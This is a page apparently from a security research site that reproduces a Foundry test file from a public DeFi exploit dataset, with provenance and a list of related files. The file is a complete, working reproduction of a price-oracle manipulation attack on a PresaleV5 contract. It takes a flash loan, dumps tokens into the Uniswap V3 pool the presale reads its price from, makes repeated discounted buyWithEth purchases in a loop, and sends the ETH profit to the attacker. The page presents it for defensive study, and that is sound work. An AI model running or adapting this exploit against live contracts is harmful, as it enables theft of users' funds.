Public reproduction file
src/test/2025-08/PresaleV5_exp.sol
Public reproduction file for dataset entry PresaleV5.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 2.3157 ETH7// Attacker : 0x3A7e13DaCCCD3de56B8186987F348Bfd21Dc4Ec58// Attack Contract : 0xdc781c9714382E9F973e9d687aCae0fb37225F529// Vulnerable Contract : 0x9a15bb3A8feC8d0d810691BafE36F6e5D42360f710// Attack Tx : https://etherscan.io/tx/0x0ef0cde3d8348fdced3adf7d0475ec1364236dd6ab1d8580addad96b004b604a11//12// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x09c135aacd4a82b08890e930dfdc3143b4578d45#code14//15// @Analysis16// Twitter Guy : https://t.me/defimon_alerts/168817//18// Attack summary: The attacker flash-borrowed the sale token, sold it into the Uniswap V3 pool used as the19// presale price oracle, bought discounted presale tokens through buyWithEth, sold the received tokens back into20// the same manipulated pool, and repeated the cycle before repaying the flash loan.21// Root cause: PresaleV5 priced buyWithEth from the current slot0 of a manipulable V3 pool without a TWAP or22// independent oracle check, letting a flash-loan-funded attacker change the sale-token price inside one tx.24address constant ATTACKER = 0x3a7E13dACccd3dE56b8186987F348bFd21dc4Ec5;25address constant VULNERABLE_CONTRACT = 0x9a15bB3a8FEc8d0d810691BAFE36f6e5d42360F7;26address constant PRESALE_IMPL_AT_BLOCK = 0x09c135AACd4a82B08890e930DFDC3143B4578d45;27address constant SALE_TOKEN = 0xccB365D2e11aE4D6d74715c680f56cf58bF4bF10;28address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;29address constant SWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;30address constant MANIPULATED_POOL = 0xA3C2076eB97D573CC8842f1Db1ECDF7B6F77ba27;31address constant FLASH_POOL = 0x9DeDf5bb0d5921C057f2e62Aa36Ce48bca127f7c;33uint24 constant MANIPULATED_POOL_FEE = 3000;34uint24 constant FLASH_POOL_FEE = 10_000;35uint256 constant FLASH_BORROW_AMOUNT = 502_970_865_652_897_166_554_244_795;37interface IERC20Minimal {38 function balanceOf(39 address account40 ) external view returns (uint256);41 function approve(42 address spender,43 uint256 amount44 ) external returns (bool);45 function transfer(46 address to,47 uint256 amount48 ) external returns (bool);49}51interface IWETH is IERC20Minimal {52 function deposit() external payable;53 function withdraw(54 uint256 wad55 ) external;56}58interface IPresaleV5 {59 function fetchPrice(60 uint256 amountOut61 ) external view returns (uint256);62 function buyWithEth(63 uint256 amount,64 bool stake65 ) external payable returns (bool);66}68interface IUniswapV3Pool {69 function flash(70 address recipient,71 uint256 amount0,72 uint256 amount1,73 bytes calldata data74 ) external;75}77interface ISwapRouter02 {78 struct ExactInputSingleParams {79 address tokenIn;80 address tokenOut;81 uint24 fee;82 address recipient;83 uint256 amountIn;84 uint256 amountOutMinimum;85 uint160 sqrtPriceLimitX96;86 }88 struct ExactOutputSingleParams {89 address tokenIn;90 address tokenOut;91 uint24 fee;92 address recipient;93 uint256 amountOut;94 uint256 amountInMaximum;95 uint160 sqrtPriceLimitX96;96 }98 function exactInputSingle(99 ExactInputSingleParams calldata params100 ) external payable returns (uint256 amountOut);101 function exactOutputSingle(102 ExactOutputSingleParams calldata params103 ) external payable returns (uint256 amountIn);104}106contract ContractTest is BaseTestWithBalanceLog {107 function setUp() public {108 uint256 forkBlock = 23_172_639;109 vm.createSelectFork("mainnet", forkBlock);111 vm.label(ATTACKER, "Attacker");112 vm.label(VULNERABLE_CONTRACT, "PresaleV5 proxy");113 vm.label(PRESALE_IMPL_AT_BLOCK, "PresaleV5 implementation at attack block");114 vm.label(SALE_TOKEN, "Sale token");115 vm.label(WETH, "WETH");116 vm.label(SWAP_ROUTER, "Uniswap SwapRouter02");117 vm.label(MANIPULATED_POOL, "Manipulated V3 pool");118 vm.label(FLASH_POOL, "Flash V3 pool");119 }121 function testExploit() public {122 vm.deal(ATTACKER, 0);123 uint256 attackerEthBefore = ATTACKER.balance;125 vm.startPrank(ATTACKER);126 PresaleV5Attacker localAttacker = new PresaleV5Attacker(ATTACKER);127 vm.label(address(localAttacker), "Local PresaleV5 attacker");128 localAttacker.execute();129 vm.stopPrank();131 uint256 attackerEthAfter = ATTACKER.balance;132 emit log_named_decimal_uint("Attacker ETH profit", attackerEthAfter - attackerEthBefore, 18);133 assertGt(attackerEthAfter - attackerEthBefore, 2.3 ether);134 }135}137contract PresaleV5Attacker {138 IERC20Minimal private constant token = IERC20Minimal(SALE_TOKEN);139 IWETH private constant weth = IWETH(WETH);140 IPresaleV5 private constant presale = IPresaleV5(VULNERABLE_CONTRACT);141 ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER);143 address private immutable profitReceiver;145 constructor(146 address profitReceiver_147 ) {148 profitReceiver = profitReceiver_;149 }151 function execute() external {152 IUniswapV3Pool(FLASH_POOL).flash(address(this), 0, FLASH_BORROW_AMOUNT, abi.encode(FLASH_BORROW_AMOUNT));154 _wrapEthBalance();155 _exactInput(WETH, SALE_TOKEN, MANIPULATED_POOL_FEE, weth.balanceOf(address(this)));156 _exactInput(SALE_TOKEN, WETH, FLASH_POOL_FEE, token.balanceOf(address(this)));157 _unwrapWethBalance();159 (bool sent,) = payable(profitReceiver).call{value: address(this).balance}("");160 require(sent, "profit transfer failed");161 }163 function uniswapV3FlashCallback(164 uint256 fee0,165 uint256 fee1,166 bytes calldata data167 ) external {168 require(msg.sender == FLASH_POOL, "unexpected flash pool");169 require(fee0 == 0, "unexpected token0 fee");171 uint256 borrowed = abi.decode(data, (uint256));172 token.approve(SWAP_ROUTER, type(uint256).max);173 weth.approve(SWAP_ROUTER, type(uint256).max);175 _exactInput(SALE_TOKEN, WETH, MANIPULATED_POOL_FEE, token.balanceOf(address(this)));176 _unwrapWethBalance();178 uint256 quote = presale.fetchPrice(1 ether);179 uint256 firstBuyAmount = ((address(this).balance * 17) / 100) / quote;180 presale.buyWithEth{value: address(this).balance}(firstBuyAmount, false);182 for (uint256 i = 0; i < 200; i++) {183 _wrapEthBalance();184 _exactInput(SALE_TOKEN, WETH, MANIPULATED_POOL_FEE, token.balanceOf(address(this)));186 quote = presale.fetchPrice(1 ether);187 _unwrapWethBalance();189 uint256 buyAmount = 0.3 ether / quote;190 presale.buyWithEth{value: address(this).balance}(buyAmount, false);191 }193 uint256 owed = borrowed + fee1;194 uint256 tokenBalance = token.balanceOf(address(this));195 if (tokenBalance < owed) {196 _wrapEthBalance();197 _exactOutput(WETH, SALE_TOKEN, MANIPULATED_POOL_FEE, owed - tokenBalance);198 }200 token.transfer(FLASH_POOL, owed);201 }203 function _exactInput(204 address tokenIn,205 address tokenOut,206 uint24 fee,207 uint256 amountIn208 ) private returns (uint256 amountOut) {209 if (amountIn == 0) return 0;211 return router.exactInputSingle(212 ISwapRouter02.ExactInputSingleParams({213 tokenIn: tokenIn,214 tokenOut: tokenOut,215 fee: fee,216 recipient: address(this),217 amountIn: amountIn,218 amountOutMinimum: 0,219 sqrtPriceLimitX96: 0220 })221 );222 }224 function _exactOutput(225 address tokenIn,226 address tokenOut,227 uint24 fee,228 uint256 amountOut229 ) private returns (uint256 amountIn) {230 if (amountOut == 0) return 0;232 return router.exactOutputSingle(233 ISwapRouter02.ExactOutputSingleParams({234 tokenIn: tokenIn,235 tokenOut: tokenOut,236 fee: fee,237 recipient: address(this),238 amountOut: amountOut,239 amountInMaximum: type(uint256).max,240 sqrtPriceLimitX96: 0241 })242 );243 }245 function _wrapEthBalance() private {246 uint256 ethBalance = address(this).balance;247 if (ethBalance > 0) {248 weth.deposit{value: ethBalance}();249 }250 }252 function _unwrapWethBalance() private {253 uint256 wethBalance = weth.balanceOf(address(this));254 if (wethBalance > 0) {255 weth.withdraw(wethBalance);256 }257 }259 receive() external payable {}260}Analysis
Dataset entry
Public Foundry test for “PresaleV5” (2025-08-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
- src/test/2025-08/WXC_Token_exp.solSame month in the dataset · 76 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3a7e13dacccd3de56b8186987f348bfd21dc4ec5
- Attack Contract
0xdc781c9714382e9f973e9d687acae0fb37225f52
- Vulnerable Contract
0x9a15bb3a8fec8d0d810691bafe36f6e5d42360f7
- Vulnerable Contract
0x09c135aacd4a82b08890e930dfdc3143b4578d45
- Attack Tx
0x0ef0cde3d8348fdced3adf7d0475ec1364236dd6ab1d8580addad96b004b604a
File record
- Name
- PresaleV5
- Path
- src/test/2025-08/PresaleV5_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5bcd937477a9f33968f10b65beeee04f3f6ba8e7
- Language
- Solidity
- Size
- 261 lines
- Date
- 2025-08-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/PresaleV5_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5bcd937477a9f33968f10b65beeee04f3f6ba8e7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.